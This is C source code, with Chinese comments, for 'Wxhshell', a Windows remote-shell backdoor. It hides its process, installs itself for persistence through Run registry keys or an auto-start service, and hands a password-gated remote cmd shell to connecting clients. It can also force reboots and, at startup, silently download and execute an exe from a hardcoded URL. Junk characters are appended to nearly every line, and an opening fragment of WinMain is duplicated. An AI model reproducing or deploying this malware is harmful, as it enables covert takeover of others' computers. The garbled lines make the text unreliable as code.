// 如果时win9x，隐藏进程并且设置为注册表启动 ._^ne=Lx
HideProc(); NR1M W^R
StartWxhshell(lpCmdLine); k4{|Xn
} ]rH[+t-
else ?X@[ibH6
if(StartFromService()) H?J:_1
// 以服务方式启动 x5BS|3W$a
StartServiceCtrlDispatcher(DispatchTable); jqc}mI\#
else 7Y(Dg`8G
// 普通方式启动 e'G=.:
StartWxhshell(lpCmdLine); Y$A2{RjRq
ng!cK<p
return 0; Kq-1 b
} n9}BT^4 v
85q/|9D
]h(Iun
Td'(RV
=========================================== /}8Au$nA
,.cR@5qI
_G/R;N71
UNa"\
1J"I.
Zja3HGL
" AG=PbY9
}3X/"2SW^
#include <stdio.h> 8TT#b?d
#include <string.h> Cd 2<r6i
#include <windows.h> YYYF a
#include <winsock2.h> `@],J
#include <winsvc.h> EOXkMr
#include <urlmon.h> <KU0K
vxEi C:&]
#pragma comment (lib, "Ws2_32.lib") {/,(F^T>2
#pragma comment (lib, "urlmon.lib") [07E-TT2U
ocZ}RI#Q
#define MAX_USER 100 // 最大客户端连接数 ?%hd3zc+f
#define BUF_SOCK 200 // sock buffer ^]R_t@
#define KEY_BUFF 255 // 输入 buffer yVmp,""a
aO&{.DO2
#define REBOOT 0 // 重启 A_wf_.l4h
#define SHUTDOWN 1 // 关机 RdWn =;
KYm8|]'g
#define DEF_PORT 5000 // 监听端口 x,25ROaHY
y 2> 93m
#define REG_LEN 16 // 注册表键长度 Y^!qeY
#define SVC_LEN 80 // NT服务名长度 SefhOh^,V
Kgr<OL}VJ
// 从dll定义API y1%OH#:duD
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q:megU'u
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); } u;{38~
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -EP1Rl`\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M*gvYo
ue@/o,C>
// wxhshell配置信息 Yp;Z+!!UZ
struct WSCFG { scH61Y8`
int ws_port; // 监听端口 /g{*px|
char ws_passstr[REG_LEN]; // 口令 y,x 2f%x
int ws_autoins; // 安装标记, 1=yes 0=no MLHCBRi
char ws_regname[REG_LEN]; // 注册表键名 Sc>mw
char ws_svcname[REG_LEN]; // 服务名 K $- *
char ws_svcdisp[SVC_LEN]; // 服务显示名 IeYNTk&<
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e&VC}%m
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zl:by?
int ws_downexe; // 下载执行标记, 1=yes 0=no 6LCtWX
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p7Wt(A
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }vZf&ib-
)Y)_T&O
}; q=5aHH% |
";rXCH.
// default Wxhshell configuration )Su>8f[?e
struct WSCFG wscfg={DEF_PORT, `D[O\ VE
"xuhuanlingzhe", ~F'6k&A^q
1, m_/Ut
"Wxhshell", x;u#ec4
"Wxhshell", r4SwvxhG
"WxhShell Service", N)g_LL>^
"Wrsky Windows CmdShell Service", L.'61ZU
"Please Input Your Password: ", w gS'/
1, {im?tZ,
"http://www.wrsky.com/wxhshell.exe", V_J0I*Qa4
"Wxhshell.exe" &!X<F,
}; HAK,z0/
1!MJ+?Jl
// 消息定义模块 f)T\
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >o1dc*
char *msg_ws_prompt="\n\r? for help\n\r#>"; #17 &rizl
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :VlA2Ih&q
char *msg_ws_ext="\n\rExit."; q"2APvsvp
char *msg_ws_end="\n\rQuit."; 1cOR?=G~
char *msg_ws_boot="\n\rReboot..."; jSE)&K4nI
char *msg_ws_poff="\n\rShutdown..."; $lT8M-yK\
char *msg_ws_down="\n\rSave to "; 2.%)OC!q&5
gxVr1DIkN
char *msg_ws_err="\n\rErr!"; $uTrM8
char *msg_ws_ok="\n\rOK!"; A)]&L`s
zb9G&'7
char ExeFile[MAX_PATH]; lg-_[!4Z
int nUser = 0; j_sos%-
HANDLE handles[MAX_USER]; ZcXAqep8'
int OsIsNt; N=1ue`i
ZEI)U, I.
SERVICE_STATUS serviceStatus; C5dM`_3L
SERVICE_STATUS_HANDLE hServiceStatusHandle; (7G4v
E42)93~C
// 函数声明 rt*x[5<
int Install(void); <WIIurp
int Uninstall(void); b:F;6X0~Hl
int DownloadFile(char *sURL, SOCKET wsh); +S4>}2N33
int Boot(int flag); tI{]&dev
void HideProc(void); Uyb0iQ-,s
int GetOsVer(void); iZn0B5]ikj
int Wxhshell(SOCKET wsl); yk4@@kHW
void TalkWithClient(void *cs); c46-8z$
int CmdShell(SOCKET sock); Qa=Y?=Za
int StartFromService(void); PSq?8.
int StartWxhshell(LPSTR lpCmdLine); /";tkad^
p}!i_P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ASbIc"S6
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]`$yY5&W0
h s',f
// 数据结构和表定义 Zu|NF uFI
SERVICE_TABLE_ENTRY DispatchTable[] = B.G6vx4yp
{ L&kCI`Tb
{wscfg.ws_svcname, NTServiceMain}, D^@@ P
{NULL, NULL} ;"Gy5
}; \"ahs7ABT
p($vM^_<"
// 自我安装 %9>w|%+;U+
int Install(void) $t%IJT
{ z<55[~3
char svExeFile[MAX_PATH]; F&wAre<
HKEY key; mh}D[K=~%
strcpy(svExeFile,ExeFile); LH4#p%Pb%
0C :8X
// 如果是win9x系统，修改注册表设为自启动 =|i_T%a
if(!OsIsNt) { j ^j"w(a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ly` A,dh
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {V>F69IU
RegCloseKey(key); _" 9 q(1
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &233QRYM
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M6p\QKi
RegCloseKey(key); 9 o,`peH
return 0; jaEe$2F2
} bI ;I<Qa
} MBt\"b#t
} ?P+Uv
else { (/I6Wa
L/jaUt[,
// 如果是NT以上系统，安装为系统服务 nvndgeSy
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %mmV#vwp
if (schSCManager!=0) GrG'G(NQ
{ gV.?Myy
SC_HANDLE schService = CreateService ^ l#6Es
( GV0@We~
schSCManager, w|&lRo@1
wscfg.ws_svcname, ~o_JZ:
wscfg.ws_svcdisp, L-`V^{R]
SERVICE_ALL_ACCESS, lW|=rq-|
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r&8aB85
SERVICE_AUTO_START, nBk&+SN
SERVICE_ERROR_NORMAL, EF<TU.)Zf
svExeFile, Xsa8YP9
NULL, PyfWIU7O
NULL, Qq:}Z7 H
NULL, Q$5t~*$`
NULL, 0~U%csPHt
NULL =?C <@
); k( 0;>)<i
if (schService!=0) eAW)|=2
{ :^kAFLU
CloseServiceHandle(schService); 5 I_ :7$8
CloseServiceHandle(schSCManager); PoaCnoNS
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kZG=C6a
strcat(svExeFile,wscfg.ws_svcname); KE,.Evyu=
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D@&xj_#\}
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7~P2q/2E>
RegCloseKey(key); !nl-}P,
return 0; %@C8EFl%3
} @LOfqQ$FE
} *4 LS``
CloseServiceHandle(schSCManager); K[iAN;QCe%
} ]|!|3lQ
} fd *XK/h
R-m5(
return 1; %/I:r7UR{
} By@65KmR"
=,zB|sjn
// 自我卸载 PMTrG78p*
int Uninstall(void) c#{|sR5
{ >s/_B//[
HKEY key; [;ZCq!)>
s]99'Q",
if(!OsIsNt) { .9x*YS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZX&e,X~V
RegDeleteValue(key,wscfg.ws_regname); pZS]i "
RegCloseKey(key); ^|Z'}p|&
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a&JY x
RegDeleteValue(key,wscfg.ws_regname); dUa>XkPa\2
RegCloseKey(key); /g>-s&w
return 0; y%vAEQ2j=
} `0ym3}(O
} )]q Qgc&
} @@*x/"GJG
else { E\D,=|Mul
n`Z}tQ%)o
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (!fx5&F
if (schSCManager!=0) \Ebh6SRp\
{ b/[X8w'VP
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'sZGLgT;m
if (schService!=0) -KC@M
{ By6O@ .\V
if(DeleteService(schService)!=0) { 1P"7.{
CloseServiceHandle(schService); W)ug%@)
CloseServiceHandle(schSCManager); 2 )o2d^^
return 0; Ut2T:%m{
} 424iFc[
CloseServiceHandle(schService); ykbfK$jz
} T&[6
CloseServiceHandle(schSCManager); bxYSZCo*
} mQ1
} TXM/+sd
]a/dvj}
return 1; 5xr>B7MRM?
} *-=/"m
&Y1h=,KR9
// 从指定url下载文件 f4pIF"U9>
int DownloadFile(char *sURL, SOCKET wsh) ZgEV-.>P
{ =LLpJ+
HRESULT hr; V/xXW=
char seps[]= "/"; fUf1G{4
char *token; %iNgHoH
char *file; F-ZTy"z
char myURL[MAX_PATH]; 90uXJyW;d
char myFILE[MAX_PATH]; ! xM=7Q k
4J[zNB]
strcpy(myURL,sURL); I*%3E.Z@g
token=strtok(myURL,seps); 7ucm1
while(token!=NULL) Mhn1-ma:
{ 9~=zD9,|iA
file=token; %0y-f
token=strtok(NULL,seps); Lbo3fwW
} T"htWo{v>
JZ`u?ZaJ/s
GetCurrentDirectory(MAX_PATH,myFILE); l@SV!keQ
strcat(myFILE, "\\"); [ p,]/ ^ N
strcat(myFILE, file); |e!Y C iU
send(wsh,myFILE,strlen(myFILE),0); 8Kl&_-l{b
send(wsh,"...",3,0); OMk3\FV2Z
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Y8bFWuc
if(hr==S_OK) g~-IT&O
return 0; bK}ZR*)
else ;B |
return 1; X,+a 6F
FWeUZI+
} ~m<K5K6 V
(t3gNin
// 系统电源模块 H.iCYD_=
int Boot(int flag) >A@yF?
{ JcYY*p
HANDLE hToken; dpE^BWv3
TOKEN_PRIVILEGES tkp; h{"SV*Xpk/
82 |^o
if(OsIsNt) { "Ia.$,k9
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J#H,QYnf(L
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yz0#0YG7
tkp.PrivilegeCount = 1; g]h@U&`~u_
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pvl];w
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eXsp0!v
if(flag==REBOOT) { ~rI2 RJ
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6wpu[
return 0; fk15O_#3
} fX:q]
else { n}Eu^^d
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2?LPr
return 0; :mDOqlXW/
} 4/{pz$
} 0J[B3JO@M
else { oMYFfnoAa
if(flag==REBOOT) { &Oz
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0?t;3z$n
return 0; P=}dR&gk'
} !/H `
else { =?4[:#Rh
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]O:u9If
return 0; U.Vn|s(`z
} xX<T5Ls
} |1H9,:*%
AXxyB"7A}
return 1; O0rvr$.
} )%p46(]
QsPg4y3?D
// win9x进程隐藏模块 \s)$[pAF
void HideProc(void) pRlScD_};
{ d^54mfgI
+68age;dM
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6qmV/DL
if ( hKernel != NULL ) nF]E":
{ %OHWGac"i
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c1i[1x%
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GMZ6 dK
FreeLibrary(hKernel); "x]7et,
} 2N |iOog
,>qtnwvlHP
return; L Y4bn)Qf
} tUJe-3,
e]>=;Zn
// 获取操作系统版本 Ui"$A/
int GetOsVer(void) .PT7
{ F@ |(
OSVERSIONINFO winfo; @6|0H`kv
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %@ >^JTkY8
GetVersionEx(&winfo); pUmT?N!
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IDF0nx]
return 1; E0HE@pqr
else LZG(T$dI
return 0; +B8oW3v# )
} {=Ji2k0U'
!"/"Mqs3$
// 客户端句柄模块 8z|]{XW{
int Wxhshell(SOCKET wsl) OcpvY~"Pr
{ -/B*\X[
SOCKET wsh; &)Zv>P8z`
struct sockaddr_in client; m@I}$
DWORD myID; ;D-k\kv
Omn$O>
while(nUser<MAX_USER) hxJKYU^%m
{ +3AX1o%p,#
int nSize=sizeof(client); QTF1~A\
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HnFH|H<Uf
if(wsh==INVALID_SOCKET) return 1; QA~F
L{;Q6_m
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BuAzO>=
if(handles[nUser]==0) (I;81h`1G
closesocket(wsh); QCDica `+*
else * #z@b
nUser++; o[JZ>nm
} O1X)
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *j<#5=l
wj'fdrY5h
return 0; X-bM`7'H
} bs% RWwn
#/9Y}2G|]
// 关闭 socket ? YIe<
void CloseIt(SOCKET wsh) F3q<j$y
{ fpZHE=}r
closesocket(wsh); A=ez,87
nUser--; #ax% n
ExitThread(0); (}T},ygQ
} |V}tTx1
sGiK S,.K
// 客户端请求句柄 :KRNLhWb
void TalkWithClient(void *cs) I_?R(V[9
{ Rm,>6bQx
ghkV^ [
SOCKET wsh=(SOCKET)cs; o9Mr7
char pwd[SVC_LEN]; i(e=
char cmd[KEY_BUFF]; 4u0?[v[Hu
char chr[1]; n^55G>"0|
int i,j; {fEb>
j~+(#|
while (nUser < MAX_USER) { @kT@IQkri
i-WP#\s
if(wscfg.ws_passstr) { &>Y.$eW_
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (VCJn<@@
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GqP02P'2
//ZeroMemory(pwd,KEY_BUFF); ^*y1Fn0
i=0; |Q%nnN
while(i<SVC_LEN) { f/.f08
!)J$f_88D
// 设置超时 9,tk
fd_set FdRead; cuf]-C1_
struct timeval TimeOut; +uNMyVH
FD_ZERO(&FdRead); p? VDBAx
FD_SET(wsh,&FdRead); wJgH15oB
TimeOut.tv_sec=8; +>Y]1IlI
TimeOut.tv_usec=0; #4nBov3d
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g38MF
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7;6'=0(
.k up[d(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y)GU{
pwd=chr[0]; 5YI6$ZdQ
if(chr[0]==0xd || chr[0]==0xa) { L"T :#>
pwd=0; &(o&Y
break; Z)3oiLmD
} |hDN$By
i++; 0x&L'&SpN
} x>4p6H{]0'
3RlNEc%)
// 如果是非法用户，关闭 socket ZRr.kN+F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]haQ#e}WH
} '['x'G50
g>b{hkIXg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 931GJA~g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~xGE6A*"
d,'gh4C
while(1) { J-klpr#
x],XiSyp
ZeroMemory(cmd,KEY_BUFF); BoARM{m
zqXDD; w3
// 自动支持客户端 telnet标准 r#}o +3*
j=0; = ~*Vfx
while(j<KEY_BUFF) { O ~[[JAi[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _3g!_
cmd[j]=chr[0]; "-IF_Hid
if(chr[0]==0xa || chr[0]==0xd) { 7#N= GN
cmd[j]=0; 64'sJc.
break; 7^#O{QYol
} pgv, Su
j++; cxPOO#
} x'Nc}
RO[X#c
// 下载文件 {?mb.~(
if(strstr(cmd,"http://")) { QPFv]^s(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uE%2kB*]
if(DownloadFile(cmd,wsh)) 7D~~<45ct
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rz!d/)Q
else !b$~Sm)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#kB+.U
} kexvE 3
else { r'*#i>PkQD
L?Ih;
switch(cmd[0]) { V72?E%d0
#2*R0_b
// 帮助 \z@:OR,
case '?': { Wrm3U/>e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :hf%6N='kI
break; x97L>>|
} ?cK67|%W
// 安装 x.I?)x!C'
case 'i': { @RdNAP_6
if(Install()) {"N:2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j97K\]tQ
else yZmeke)_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4~vn%O6n
break; %Go/\g
} ],zp~yVU&
// 卸载 Q} -YD.bx3
case 'r': { TTo?BVBK
if(Uninstall()) {yxLL-5c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O_DT7;g
else m_;XhO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16~5;u
break; >@Na6BH5v
} W:8{}Iu<
// 显示 wxhshell 所在路径 (r1"!~d@
case 'p': { SEM-t
char svExeFile[MAX_PATH]; zP$"6~.
strcpy(svExeFile,"\n\r"); vXak5iq>X
strcat(svExeFile,ExeFile); {s2eOL5I|%
send(wsh,svExeFile,strlen(svExeFile),0); I3ugBLxVC3
break; ki?V eFp
} !|J2o8g
// 重启 raMtTL+
case 'b': { 4Le{|B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )~w bu2;
if(Boot(REBOOT)) sei%QE]!/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E9_ZdBT
else { cNy*< Tv
closesocket(wsh); W$gjcsv
ExitThread(0); (|tR>R.Wxg
} sv!6zJs
break; [|C
} *M$$%G(4
// 关机 7e)j|a-!<
case 'd': { &~=d;llkT
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~UwqQD1p
if(Boot(SHUTDOWN)) }fhGofN$e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BMn`t@!x
else { , LqfwA|
closesocket(wsh); y XCZs
ExitThread(0); L*{E-m/
} Yg;7TKy
break; s}4k^NGFJ
} $o ;48uV^
// 获取shell v\=k[oOu
case 's': { (J j'kW6G6
CmdShell(wsh); qMd4awB R
closesocket(wsh); @A-E
ExitThread(0); Saks~m7,
break; C&.Q|S2_
} Q6r
// 退出 2FN#63
case 'x': { {C%f~j
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TO/SiOd
CloseIt(wsh); @Fb 2c0?Y
break; ]C-a[
} -_>E8PhM
// 离开 tYhNr
case 'q': { fDChq[LAn
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T>5N$i
closesocket(wsh); Et&PzDvU
WSACleanup(); Ol8Yf.e_
exit(1); LiEDTXRz
break; W;F=7[h
} J2!)%mF$
} c <X( S
} =vb'T
y*-D
// 提示信息 )jw!,"_4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yM?jiy
} \?$kpV
} c:-n0m'i
V~QOl=`K:
return; L,sXJ23.
} 6 _#CvQ
z'Ut9u
// shell模块句柄 #*+$o<Q]9
int CmdShell(SOCKET sock) 1L4v X
{ KP gzB^>
STARTUPINFO si; jf=90eJc
ZeroMemory(&si,sizeof(si)); sGGi7%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cu4|!s`#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3nx*M=
PROCESS_INFORMATION ProcessInfo; R`%O=S*]
char cmdline[]="cmd"; 0BP=SCi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Co:Rg@i(F
return 0; PWS5s^WM
} Aj"fkY|Q
lt{"N'Gw6
// 自身启动模式 @:P:`Zk
int StartFromService(void) ~mT([V
{ dF+:9iiAm
typedef struct "iuNYM5P
{ HQc^ybX5
DWORD ExitStatus; v2vtkYQN
DWORD PebBaseAddress; )yS S2
DWORD AffinityMask; L#MMNc+
DWORD BasePriority; I5W#8g!{
ULONG UniqueProcessId; i(S}gH4*o
ULONG InheritedFromUniqueProcessId; |1m2h]];Q
} PROCESS_BASIC_INFORMATION; 3Io7!:+
xp]_>WGq
PROCNTQSIP NtQueryInformationProcess; B~u`bn,iQ
jjg[v""3|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "X-"uIc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4z^VwKH\j
&C6*"JZ4
HANDLE hProcess; S|_"~Nd=
PROCESS_BASIC_INFORMATION pbi; e @|uG%
-D wO*f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ots]y
if(NULL == hInst ) return 0; S\6.vw!'
\WM"VT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +VO(6Jn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F2',3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H|<Zm:.%$
h:r:qk
if (!NtQueryInformationProcess) return 0; f|{&Y2h(R
awOH50R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b25C[C5C
if(!hProcess) return 0; UQJ
3moDu
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o#V{mm,{Pm
Gi,4PD-ro
CloseHandle(hProcess); DxG8`}+
<p#+('N`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3:3>k8
if(hProcess==NULL) return 0; $6/CTQ
W>E|Iv[o
HMODULE hMod; *;~i\M9_
char procName[255]; 3d(:Y6D)
unsigned long cbNeeded; KOhIk*AC'
?rQIUP{D7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Gh*Vtd8-
+3r4GEa Z
CloseHandle(hProcess); +w(B9rH
6f;20dn6
if(strstr(procName,"services")) return 1; // 以服务启动 Pq3|O Z
evz@c)8
return 0; // 注册表启动 +{s -Fg
} w*gG1BV
XK/bE35%^!
// 主模块 b4>1UZGW-
int StartWxhshell(LPSTR lpCmdLine) Url8&.pw
{ *^p^tK
SOCKET wsl; GNoUn7Y
BOOL val=TRUE; uX+ YH
int port=0; 8]l(D
struct sockaddr_in door; \s,~|0_V
v=E(U4v9e
if(wscfg.ws_autoins) Install(); 7K /quJ
c{})Z=
port=atoi(lpCmdLine); F;Bq[V)R
SH6T\}X:
if(port<=0) port=wscfg.ws_port; i: VMCNH
VB}^&{t)!
WSADATA data; `4a9<bG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v}Kj+9h
\y+@mJWa
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X`fer%`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6~a4-5;>z
door.sin_family = AF_INET; Pr#uV3\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }EN-WDJD\
door.sin_port = htons(port); W]M Fq5.
Eb9n6Fg
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1( rN
closesocket(wsl); $[+)N~
return 1; 3NN)ql
} sQLjb8!7
/q?gpy
if(listen(wsl,2) == INVALID_SOCKET) { 1abQoe
closesocket(wsl); B$_-1^L e
return 1; !qug^F
} \?"kT}..
Wxhshell(wsl); N)
WSACleanup(); y`J8hawp
a[NR%Xq
return 0; z#/"5 l
mD;ioaE
} !u|s8tN.U
P$6Pe>3
// 以NT服务方式启动 !Mj28
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3% O[W
{ Fq'Ds[wd5
DWORD status = 0; oh,29Gg
DWORD specificError = 0xfffffff; FA}y"I'W
;.3 {}.Y
serviceStatus.dwServiceType = SERVICE_WIN32; 9~4@AGL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QNGp+xUHJ9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kp^q}iS
serviceStatus.dwWin32ExitCode = 0; 7 /XfPF
serviceStatus.dwServiceSpecificExitCode = 0; \qtdbi|Y
serviceStatus.dwCheckPoint = 0; !>EK %OO
serviceStatus.dwWaitHint = 0; jm,cVo
Jj~|2Zt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .a9f)^
if (hServiceStatusHandle==0) return; N@V:nCl
LU+}iA)
status = GetLastError(); Q 6dqFnz
if (status!=NO_ERROR) pg{cZ1/
{ NF'<8{~
serviceStatus.dwCurrentState = SERVICE_STOPPED; _Oy;:XN
serviceStatus.dwCheckPoint = 0; u0nIr9
serviceStatus.dwWaitHint = 0; -v$ q8_$m"
serviceStatus.dwWin32ExitCode = status; #hXxrN
serviceStatus.dwServiceSpecificExitCode = specificError; 5.QY{+k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUTsW,WC
return; o&>aYlXd
} 06[HE7
^m-w@0^z
serviceStatus.dwCurrentState = SERVICE_RUNNING; #q6#nfi"
serviceStatus.dwCheckPoint = 0; >O~
serviceStatus.dwWaitHint = 0; lg*?w/JX+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hp}JKj@
} -!IeP]n#P
t)4]2z)$
// 处理NT服务事件，比如：启动、停止 |2Uw8M7.E
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3e)$<e
{ {2U3
switch(fdwControl) )oy+-1dE
{ bfI= =
case SERVICE_CONTROL_STOP: >{>X.I~
serviceStatus.dwWin32ExitCode = 0; SZ~lCdWad
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;KT/;I
serviceStatus.dwCheckPoint = 0; )C0d*T0i
serviceStatus.dwWaitHint = 0; J>1%*Tz
{ O"J"H2}S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Op:$7hv
} Bv#?.0Ez;
return; huvn_
case SERVICE_CONTROL_PAUSE: 5E =!L g
serviceStatus.dwCurrentState = SERVICE_PAUSED; &.P G2f*
break; RM>A9nv$\
case SERVICE_CONTROL_CONTINUE: vK$wc~
serviceStatus.dwCurrentState = SERVICE_RUNNING; aev(CY,z
break; ]U,m 1
case SERVICE_CONTROL_INTERROGATE: -?NAA]P5c@
break; \s7/`
}; /4KHf3Nr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &FWz7O>1
} '3xK1Am
l YpoS
// 标准应用程序主函数 Ru4M7%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) se*k56,
{ >v)V2,P -
<Df2
// 获取操作系统版本 bZpx61h|
OsIsNt=GetOsVer(); 8L5O5F'
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,JfP$HJ
{+V ]@sz
// 从命令行安装 3!`_Q%
if(strpbrk(lpCmdLine,"iI")) Install(); ~/rKKc
nK#%Od{GF
// 下载执行文件 .9vt<<Kwh
if(wscfg.ws_downexe) { G|TnvZ KX
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JH*fxG
WinExec(wscfg.ws_filenam,SW_HIDE); 8Z3:jSgk
} 0S$TLbx
?RS4oJz,5g
if(!OsIsNt) { _}.WRFIJ@L
// 如果时win9x，隐藏进程并且设置为注册表启动 p5l|qs
HideProc(); #"fn;
StartWxhshell(lpCmdLine); Ok<,_yh
} j{6O:d6([$
else -B#K}xL|x
if(StartFromService()) 1 ]ePU8
// 以服务方式启动 `> +:38
StartServiceCtrlDispatcher(DispatchTable); t :~,7
else l[C_vUg
// 普通方式启动 TSVlZy~Xo
StartWxhshell(lpCmdLine); gH*(1*
V=8npz
return 0; rU|?3x
}